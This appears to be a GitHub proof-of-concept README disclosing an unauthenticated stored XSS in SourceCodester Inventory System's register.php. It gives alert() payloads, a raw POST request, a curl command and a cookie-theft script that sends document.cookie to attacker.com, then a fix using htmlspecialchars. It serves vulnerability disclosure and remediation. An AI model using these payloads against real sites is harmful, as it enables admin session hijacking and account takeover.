xmyronn/cve-2026-11518-xssProof-of-concept for unauthenticated stored XSS in SourceCodester Inventory System, demonstrating admin session hijacking via crafted registration payloads.
| Field | Details |
|---|
| Vulnerability Type | Stored Cross-Site Scripting (XSS) |
| Affected Application | Inventory System using PHP and MySQL |
| Vendor | SourceCodester |
| Affected Version | 1.0 |
| Affected File | register.php |
| Parameters | fullname, username |
| Authentication Required | No (Unauthenticated) |
| Impact | Admin session hijacking, malicious script execution in admin panel |
| CVSS Score | 8.8 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
The Inventory System using PHP and MySQL by SourceCodester (submitted May 23, 2026) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) in the Staff Registration module (register.php).
The fullname and username input fields fail to sanitize or encode user-supplied input before storing it in the database. When an administrator visits the User Management page (users.php), the unsanitized payloads are rendered directly in the HTML context, causing immediate JavaScript execution in the admin's browser session.
Because registration requires no authentication, a remote, unauthenticated attacker can inject arbitrary JavaScript that will execute in the context of any administrator who views the User Management panel.
/product_inventory/register.php — no login required.fullname and/or username fields./product_inventory/users.php, the payload executes automatically in the admin's browser.http://<TARGET>/product_inventory/register.php
Full Name field payload:
<script>alert(1)</script>
Username field payload:
<script>alert(2)</script>
Password: any value (e.g., test1234)
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded
fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=
curl equivalent:
curl -X POST "http://<TARGET>/product_inventory/register.php" \
-d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="
Log in as administrator and navigate to:
http://<TARGET>/product_inventory/users.php
Both payloads execute immediately upon page load.
An unauthenticated attacker can:
Session cookie theft example payload (replace with attacker server):
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
The vulnerability exists because register.php inserts user input directly into the database without sanitization, and users.php outputs the stored values without htmlspecialchars() encoding.
Vulnerable pattern in users.php (approximate):
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];
Fix — apply output encoding:
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');
Additionally, input should be sanitized on insertion in register.php using strip_tags() or prepared statements with proper validation.
htmlspecialchars() with ENT_QUOTES before rendering user-supplied data in HTML.Reported by Syed Imad Uddin Alvi — Independent Security Researcher